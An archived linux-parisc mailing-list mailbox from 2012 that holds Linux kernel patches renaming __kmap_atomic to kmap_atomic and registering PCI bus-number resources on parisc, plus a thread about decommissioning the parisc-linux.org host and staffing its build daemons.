diff --git a/arch/powerpc/include/asm/highmem.h b/arch/powerpc/include/asm/highmem.h
index dbc2640..caaf6e0 100644
--- a/arch/powerpc/include/asm/highmem.h
+++ b/arch/powerpc/include/asm/highmem.h
@@ -79,7 +79,7 @@ static inline void kunmap(struct page *page)
 	kunmap_high(page);
 }
 
-static inline void *__kmap_atomic(struct page *page)
+static inline void *kmap_atomic(struct page *page)
 {
 	return kmap_atomic_prot(page, kmap_prot);
 }
diff --git a/arch/sparc/include/asm/highmem.h b/arch/sparc/include/asm/highmem.h
index 3d7afbb..3b6e00d 100644
--- a/arch/sparc/include/asm/highmem.h
+++ b/arch/sparc/include/asm/highmem.h
@@ -70,7 +70,7 @@ static inline void kunmap(struct page *page)
 	kunmap_high(page);
 }
 
-extern void *__kmap_atomic(struct page *page);
+extern void *kmap_atomic(struct page *page);
 extern void __kunmap_atomic(void *kvaddr);
 extern struct page *kmap_atomic_to_page(void *vaddr);
 
diff --git a/arch/sparc/mm/highmem.c b/arch/sparc/mm/highmem.c
index 77140a0..055c66c 100644
--- a/arch/sparc/mm/highmem.c
+++ b/arch/sparc/mm/highmem.c
@@ -30,7 +30,7 @@
 #include <asm/tlbflush.h>
 #include <asm/fixmap.h>
 
-void *__kmap_atomic(struct page *page)
+void *kmap_atomic(struct page *page)
 {
 	unsigned long vaddr;
 	long idx, type;
@@ -64,7 +64,7 @@ void *__kmap_atomic(struct page *page)
 
 	return (void*) vaddr;
 }
-EXPORT_SYMBOL(__kmap_atomic);
+EXPORT_SYMBOL(kmap_atomic);
 
 void __kunmap_atomic(void *kvaddr)
 {
diff --git a/arch/tile/include/asm/highmem.h b/arch/tile/include/asm/highmem.h
index b2a6c5d..fc8429a 100644
--- a/arch/tile/include/asm/highmem.h
+++ b/arch/tile/include/asm/highmem.h
@@ -59,7 +59,7 @@ void *kmap_fix_kpte(struct page *page, int finished);
 /* This macro is used only in map_new_virtual() to map "page". */
 #define kmap_prot page_to_kpgprot(page)
 
-void *__kmap_atomic(struct page *page);
+void *kmap_atomic(struct page *page);
 void __kunmap_atomic(void *kvaddr);
 void *kmap_atomic_pfn(unsigned long pfn);
 void *kmap_atomic_prot_pfn(unsigned long pfn, pgprot_t prot);
diff --git a/arch/tile/mm/highmem.c b/arch/tile/mm/highmem.c
index 31dbbd9..ef8e5a6 100644
--- a/arch/tile/mm/highmem.c
+++ b/arch/tile/mm/highmem.c
@@ -224,12 +224,12 @@ void *kmap_atomic_prot(struct page *page, pgprot_t prot)
 }
 EXPORT_SYMBOL(kmap_atomic_prot);
 
-void *__kmap_atomic(struct page *page)
+void *kmap_atomic(struct page *page)
 {
 	/* PAGE_NONE is a magic value that tells us to check immutability. */
 	return kmap_atomic_prot(page, PAGE_NONE);
 }
-EXPORT_SYMBOL(__kmap_atomic);
+EXPORT_SYMBOL(kmap_atomic);
 
 void __kunmap_atomic(void *kvaddr)
 {
diff --git a/arch/x86/include/asm/highmem.h b/arch/x86/include/asm/highmem.h
index 3bd0402..302a323 100644
--- a/arch/x86/include/asm/highmem.h
+++ b/arch/x86/include/asm/highmem.h
@@ -61,7 +61,7 @@ void *kmap(struct page *page);
 void kunmap(struct page *page);
 
 void *kmap_atomic_prot(struct page *page, pgprot_t prot);
-void *__kmap_atomic(struct page *page);
+void *kmap_atomic(struct page *page);
 void __kunmap_atomic(void *kvaddr);
 void *kmap_atomic_pfn(unsigned long pfn);
 void *kmap_atomic_prot_pfn(unsigned long pfn, pgprot_t prot);
diff --git a/arch/x86/mm/highmem_32.c b/arch/x86/mm/highmem_32.c
index f4f29b1..6f31ee5 100644
--- a/arch/x86/mm/highmem_32.c
+++ b/arch/x86/mm/highmem_32.c
@@ -51,11 +51,11 @@ void *kmap_atomic_prot(struct page *page, pgprot_t prot)
 }
 EXPORT_SYMBOL(kmap_atomic_prot);
 
-void *__kmap_atomic(struct page *page)
+void *kmap_atomic(struct page *page)
 {
 	return kmap_atomic_prot(page, kmap_prot);
 }
-EXPORT_SYMBOL(__kmap_atomic);
+EXPORT_SYMBOL(kmap_atomic);
 
 /*
  * This is the same as kmap_atomic() but can map memory that doesn't
diff --git a/include/linux/highmem.h b/include/linux/highmem.h
index 284ec55..6549ed7 100644
--- a/include/linux/highmem.h
+++ b/include/linux/highmem.h
@@ -55,12 +55,12 @@ static inline void kunmap(struct page *page)
 {
 }
 
-static inline void *__kmap_atomic(struct page *page)
+static inline void *kmap_atomic(struct page *page)
 {
 	pagefault_disable();
 	return page_address(page);
 }
-#define kmap_atomic_prot(page, prot)	__kmap_atomic(page)
+#define kmap_atomic_prot(page, prot)	kmap_atomic(page)
 
 static inline void __kunmap_atomic(void *addr)
 {
@@ -121,15 +121,10 @@ static inline void kmap_atomic_idx_pop(void)
 #define NARG_(_2, _1, n, ...) n
 #define NARG(...) NARG_(__VA_ARGS__, 2, 1, :)
 
-static inline void *kmap_atomic(struct page *page)
-{
-	return __kmap_atomic(page);
-}
-
 static inline void __deprecated *kmap_atomic_deprecated(struct page *page,
 							enum km_type km)
 {
-	return __kmap_atomic(page);
+	return kmap_atomic(page);
 }
 
 #define kmap_atomic1(...) kmap_atomic(__VA_ARGS__)
-- 
1.7.7.6

From - Thu Nov 08 21:07:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yinghai Lu <yinghai@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: [PATCH 08/22] PCI, parisc: Register busn_res for root buses
Date: Fri, 10 Feb 2012 20:06:11 -0800
Lines: 45
Approved: news@gmane.org
Message-ID: <1328933185-15154-9-git-send-email-yinghai@kernel.org>
References: <1328933185-15154-1-git-send-email-yinghai@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: dough.gmane.org 1328933498 15599 80.91.229.3 (11 Feb 2012 04:11:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 11 Feb 2012 04:11:38 +0000 (UTC)
Cc: Bjorn Helgaas <bhelgaas@google.com>,
	Dominik Brodowski <linux@dominikbrodowski.net>,
	Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	linux-pci@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, Yinghai Lu <yinghai@kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: Jesse Barnes <jbarnes@virtuousgeek.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Tony Luck <tony.luck@intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 11 05:11:33 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Rw4J9-0007Fm-Un
	for glpp-linux-parisc@plane.gmane.org; Sat, 11 Feb 2012 05:11:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760663Ab2BKELa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 Feb 2012 23:11:30 -0500
Original-Received: from acsinet15.oracle.com ([141.146.126.227]:16491 "EHLO
	acsinet15.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1760587Ab2BKEHT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 Feb 2012 23:07:19 -0500
Original-Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237])
	by acsinet15.oracle.com (Switch-3.4.4/Switch-3.4.4) with ESMTP id q1B47105030814
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Sat, 11 Feb 2012 04:07:02 GMT
Original-Received: from acsmt356.oracle.com (acsmt356.oracle.com [141.146.40.156])
	by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id q1B470j4027585
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Sat, 11 Feb 2012 04:07:00 GMT
Original-Received: from abhmt115.oracle.com (abhmt115.oracle.com [141.146.116.67])
	by acsmt356.oracle.com (8.12.11.20060308/8.12.11) with ESMTP id q1B470uX020823;
	Fri, 10 Feb 2012 22:07:00 -0600
Original-Received: from linux-siqj.site (/75.36.250.111)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Fri, 10 Feb 2012 20:06:59 -0800
X-Mailer: git-send-email 1.7.7
In-Reply-To: <1328933185-15154-1-git-send-email-yinghai@kernel.org>
X-Source-IP: acsinet21.oracle.com [141.146.126.237]
X-Auth-Type: Internal IP
X-CT-RefId: str=0001.0A090206.4F35E967.0016,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4148 gmane.linux.kernel.pci:13547 gmane.linux.kernel:1252070 gmane.linux.kernel.cross-arch:12326
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4148>

Signed-off-by: Yinghai Lu <yinghai@kernel.org>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
 drivers/parisc/dino.c    |    2 ++
 drivers/parisc/lba_pci.c |    3 +++
 2 files changed, 5 insertions(+), 0 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 7ff10c1..3f2e203 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -1014,7 +1014,9 @@ static int __init dino_probe(struct parisc_device *dev)
 		return 0;
 	}
 
+	pci_bus_insert_busn_res(bus, dino_current_bus, 255);
 	bus->subordinate = pci_scan_child_bus(bus);
+	pci_bus_update_busn_res_end(bus, bus->subordinate);
 
 	/* This code *depends* on scanning being single threaded
 	 * if it isn't, this global bus number count will fail
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index d5f3d75..b58bf8b 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1531,6 +1531,9 @@ lba_driver_probe(struct parisc_device *dev)
 		return 0;
 	}
 
+	pci_bus_insert_busn_res(lba_bus, lba_dev->hba.bus_num.start,
+				lba_dev->hba.bus_num.end);
+
 	lba_bus->subordinate = pci_scan_child_bus(lba_bus);
 
 	/* This is in lieu of calling pci_assign_unassigned_resources() */
-- 
1.7.7

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Sat, 11 Feb 2012 14:11:30 -0500
Lines: 81
Approved: news@gmane.org
Message-ID: <BLU0-SMTP8734A5ED7DDBD9EC0C7A7597790@phx.gbl>
References: <20120208143347.GB22903@dannf.org> <CA+DQjFhKZiuxcoHJYcpDBUJW3xNNTDQhfm=d3trWG3u8DARtXw@mail.gmail.com> <BLU0-SMTP5575D9E1E9A88CEE0BD790977A0@phx.gbl> <20120209175547.GA22332@dannf.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1328987515 17935 80.91.229.3 (11 Feb 2012 19:11:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 11 Feb 2012 19:11:55 +0000 (UTC)
Cc: Thibaut VARENE <varenet@parisc-linux.org>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	taggart@lackof.org, bame@riverrock.org,
	Carlos O'Donell <carlos@systemhalted.org>
To: dann frazier <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 11 20:11:53 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RwIMQ-00048u-Bt
	for glpp-linux-parisc@plane.gmane.org; Sat, 11 Feb 2012 20:11:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754576Ab2BKTLt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 11 Feb 2012 14:11:49 -0500
Original-Received: from blu0-omc4-s21.blu0.hotmail.com ([65.55.111.160]:52449 "EHLO
	blu0-omc4-s21.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751317Ab2BKTLt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 11 Feb 2012 14:11:49 -0500
Original-Received: from BLU0-SMTP87 ([65.55.111.136]) by blu0-omc4-s21.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 11 Feb 2012 11:11:48 -0800
X-Originating-IP: [69.158.168.8]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.168.8]) by BLU0-SMTP87.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 11 Feb 2012 11:11:47 -0800
In-Reply-To: <20120209175547.GA22332@dannf.org>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 11 Feb 2012 19:11:47.0630 (UTC) FILETIME=[0046BCE0:01CCE8F1]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4149
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4149>

On 9-Feb-12, at 12:55 PM, dann frazier wrote:

> Well, we have apache2 installed from lenny now - it just isn't serving
> anything useful :)
>

I don't know much about about web page setup, so I can't be much
help for this.

>> I believe it would be useful to keep the site going until we see if
>> restarting buildd will
>> fly or not given the current level of improvement.
>
> I am supportive of the site continuing to self-host, and I realize
> that means it needs to run devel bits. But, there's two separate
> issues I see there.
>
> 1) We need to bridge the gap between now and then. Even if we had a
>    buildd online today, just grinding through the necessary backlog
>    would take weeks.

Yes, I have been working on bridging the gap manually since last
summer.  I now have 5829 debs in my unstable archive.  Generally, things
have gotten easier as system stability has improved and bugs were
fixed.  It is a big job but I've done it in my spare time.

> 2) I won't have time to be the principle admin for a system running
>    unstable. I'm happy to help here & there, and w/ whatever
>    transition ends up happening, but things like manually
>    patching/fixing kernels, monitoring security updates and how they
>    impact our bits, etc. Its a lot of work just for managing a single
>    host.
>
> For 1) I think the right answer is to move services to a new
> stable/secure host for the time being and shut the existing machine
> down. We can retain the option of moving things back once the unstable
> port is in full force. As a side benefit, such a migration should also
> help get the existing services running w/ newer packages
> (e.g. apache2) and allow us cleanly transition services over w/
> minimal downtime (demonstrate a working system first, then update DNS
> records). Who knows how painful it will be to go from pre-lenny to sid
> all at once.
>
> 2) can be solved by moving the domain to someone else's
> infrastructure, or having a trusted volunteer to be the primary
> admin for the system.


I need to update a few more packages before magnum is ready for buildd.

Thibaut offered to setup the buildd but doesn't have a lot of free  
time.  I'm
willing to do general system admin and monitoring the build system,
but Thibaut  has to be in charge.  I'm hoping that Carlos is still  
willing to help
with uploads, and to try to get his current patches into the debian  
eglibc 2.13
patch set.  Otherwise, we may have to have a separate patch set.

I think ESIEE is the logical host site.  Magnum will be moved to an  
"open" IP
when it's ready to start building.  It will require careful  
firewalling at that time.

No objection to moving the current buildd to magnum.  I guess the  
security
updates are the biggest issue.  Once the buildd is running, we can  
work on
transitioning to a final release.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Sat, 11 Feb 2012 23:12:05 +0100
Lines: 66
Approved: news@gmane.org
Message-ID: <CA+DQjFicockZMkgKNwF=5Dk--gWraTfZg5mo1Ph8BnQjYkfK8A@mail.gmail.com>
References: <20120208143347.GB22903@dannf.org> <CA+DQjFhKZiuxcoHJYcpDBUJW3xNNTDQhfm=d3trWG3u8DARtXw@mail.gmail.com>
 <BLU0-SMTP5575D9E1E9A88CEE0BD790977A0@phx.gbl> <20120209175547.GA22332@dannf.org>
 <BLU0-SMTP8734A5ED7DDBD9EC0C7A7597790@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1328998350 23426 80.91.229.3 (11 Feb 2012 22:12:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 11 Feb 2012 22:12:30 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	taggart@lackof.org, bame@riverrock.org,
	"Carlos O'Donell" <carlos@systemhalted.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 11 23:12:27 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RwLBD-0001s0-2A
	for glpp-linux-parisc@plane.gmane.org; Sat, 11 Feb 2012 23:12:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754293Ab2BKWM0 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 11 Feb 2012 17:12:26 -0500
Original-Received: from mail-iy0-f174.google.com ([209.85.210.174]:48177 "EHLO
	mail-iy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754272Ab2BKWMZ convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 11 Feb 2012 17:12:25 -0500
Original-Received: by iacb35 with SMTP id b35so2094359iac.19
        for <linux-parisc@vger.kernel.org>; Sat, 11 Feb 2012 14:12:25 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        bh=Bj0IY0bwO9QSYRDYDQWfo1j7syahPHfR0pFb57a+NCE=;
        b=Z9qZxq9062JnyaFdEIIZ/mCi9zVV6ZDkCQqfpmtduR3QPsPcTTa/bRf7IdcPFxN6gW
         aS9oVTE0YtLT21BjEXBuHW/z5XJJjAxQMcAfG+0fStJdD1HeDSzFCX2DTkB7Kvw2QzuN
         TW39vhOgmDSy3wDgqCnd6faSx6UMMOJRfS2Cc=
Original-Received: by 10.42.107.9 with SMTP id b9mr14564659icp.23.1328998345110; Sat,
 11 Feb 2012 14:12:25 -0800 (PST)
Original-Received: by 10.42.189.6 with HTTP; Sat, 11 Feb 2012 14:12:05 -0800 (PST)
In-Reply-To: <BLU0-SMTP8734A5ED7DDBD9EC0C7A7597790@phx.gbl>
X-Google-Sender-Auth: oGzlLH_zljZtGDq52zPNTDlhGqQ
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4150
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4150>

On Sat, Feb 11, 2012 at 8:11 PM, John David Anglin <dave.anglin@bell.ne=
t> wrote:
> On 9-Feb-12, at 12:55 PM, dann frazier wrote:

>> 2) I won't have time to be the principle admin for a system running
>> =C2=A0 unstable. I'm happy to help here & there, and w/ whatever
>> =C2=A0 transition ends up happening, but things like manually
>> =C2=A0 patching/fixing kernels, monitoring security updates and how =
they
>> =C2=A0 impact our bits, etc. Its a lot of work just for managing a s=
ingle
>> =C2=A0 host.
>>
>> For 1) I think the right answer is to move services to a new
>> stable/secure host for the time being and shut the existing machine
>> down. We can retain the option of moving things back once the unstab=
le
>> port is in full force. As a side benefit, such a migration should al=
so
>> help get the existing services running w/ newer packages
>> (e.g. apache2) and allow us cleanly transition services over w/
>> minimal downtime (demonstrate a working system first, then update DN=
S
>> records). Who knows how painful it will be to go from pre-lenny to s=
id
>> all at once.
>>
>> 2) can be solved by moving the domain to someone else's
>> infrastructure, or having a trusted volunteer to be the primary
>> admin for the system.
>
>
>
> I need to update a few more packages before magnum is ready for build=
d.
>
> Thibaut offered to setup the buildd but doesn't have a lot of free ti=
me.
> =C2=A0I'm
> willing to do general system admin and monitoring the build system,
> but Thibaut =C2=A0has to be in charge. =C2=A0I'm hoping that Carlos i=
s still willing
> to help
> with uploads, and to try to get his current patches into the debian e=
glibc
> 2.13
> patch set. =C2=A0Otherwise, we may have to have a separate patch set.

Erm, it appears I didn't make myself clear: I'm willing to provide the
/hardware/ for buildd setup, but I certainly do not have time to tend
to routine buildd maintenance, as I've mentioned already. I understood
that at some point Carlos wanted to handle that part, but from what I
gather, he's also busy so it's probably not happening. I agree we need
someone to take care of the buildds, but I'm afraid it cannot be me.

HTH

--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Sat, 11 Feb 2012 17:41:43 -0500
Lines: 39
Approved: news@gmane.org
Message-ID: <BLU0-SMTP7852C9372515DE54919E3697790@phx.gbl>
References: <20120208143347.GB22903@dannf.org> <CA+DQjFhKZiuxcoHJYcpDBUJW3xNNTDQhfm=d3trWG3u8DARtXw@mail.gmail.com> <BLU0-SMTP5575D9E1E9A88CEE0BD790977A0@phx.gbl> <20120209175547.GA22332@dannf.org> <BLU0-SMTP8734A5ED7DDBD9EC0C7A7597790@phx.gbl> <CA+DQjFicockZMkgKNwF=5Dk--gWraTfZg5mo1Ph8BnQjYkfK8A@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1329000121 2120 80.91.229.3 (11 Feb 2012 22:42:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 11 Feb 2012 22:42:01 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	taggart@lackof.org, bame@riverrock.org,
	"Carlos O'Donell" <carlos@systemhalted.org>
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 11 23:42:00 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RwLdn-0007n7-G4
	for glpp-linux-parisc@plane.gmane.org; Sat, 11 Feb 2012 23:41:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751211Ab2BKWly (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 11 Feb 2012 17:41:54 -0500
Original-Received: from blu0-omc4-s16.blu0.hotmail.com ([65.55.111.155]:46928 "EHLO
	blu0-omc4-s16.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751208Ab2BKWlx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 11 Feb 2012 17:41:53 -0500
Original-Received: from BLU0-SMTP78 ([65.55.111.135]) by blu0-omc4-s16.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 11 Feb 2012 14:41:52 -0800
X-Originating-IP: [69.158.168.8]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.168.8]) by BLU0-SMTP78.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 11 Feb 2012 14:41:51 -0800
In-Reply-To: <CA+DQjFicockZMkgKNwF=5Dk--gWraTfZg5mo1Ph8BnQjYkfK8A@mail.gmail.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 11 Feb 2012 22:41:51.0923 (UTC) FILETIME=[59053830:01CCE90E]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4151
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4151>

On 11-Feb-12, at 5:12 PM, Thibaut VARENE wrote:

> Erm, it appears I didn't make myself clear: I'm willing to provide the
> /hardware/ for buildd setup, but I certainly do not have time to tend
> to routine buildd maintenance, as I've mentioned already. I understood
> that at some point Carlos wanted to handle that part, but from what I
> gather, he's also busy so it's probably not happening. I agree we need
> someone to take care of the buildds, but I'm afraid it cannot be me.


I understand.  I'm willing to take care of the buildds, and do whatever
porting and patches that need doing as I can.  What I meant is that
you have to be in charge of system security as impacts the cluster
as a whole.  In particular, I think you will have to be involved in the
firewall setup.

I wasn't asking you to support the general system updates or buildd  
maintenance.

I will try to setup the autobuilders and hopefully Dann can answer any
questions that might arise.  The big question is the is the upload  
process
which I'm totally unfamiliar with.  There is also the security updates.

I don't know how busy Carlos is at the moment and whether he is still  
interested
in helping.  I know he gets impossible projects from time to time.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Sun, 12 Feb 2012 00:26:01 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <CA+DQjFj8fpctOjthKCsxRfM5TqS6J3ZBHMH4COuA7LUh1R_FMg@mail.gmail.com>
References: <20120208143347.GB22903@dannf.org> <CA+DQjFhKZiuxcoHJYcpDBUJW3xNNTDQhfm=d3trWG3u8DARtXw@mail.gmail.com>
 <BLU0-SMTP5575D9E1E9A88CEE0BD790977A0@phx.gbl> <20120209175547.GA22332@dannf.org>
 <BLU0-SMTP8734A5ED7DDBD9EC0C7A7597790@phx.gbl> <CA+DQjFicockZMkgKNwF=5Dk--gWraTfZg5mo1Ph8BnQjYkfK8A@mail.gmail.com>
 <BLU0-SMTP7852C9372515DE54919E3697790@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1329002788 17621 80.91.229.3 (11 Feb 2012 23:26:28 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 11 Feb 2012 23:26:28 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	taggart@lackof.org, bame@riverrock.org,
	"Carlos O'Donell" <carlos@systemhalted.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 12 00:26:25 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RwMKm-00063v-0d
	for glpp-linux-parisc@plane.gmane.org; Sun, 12 Feb 2012 00:26:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
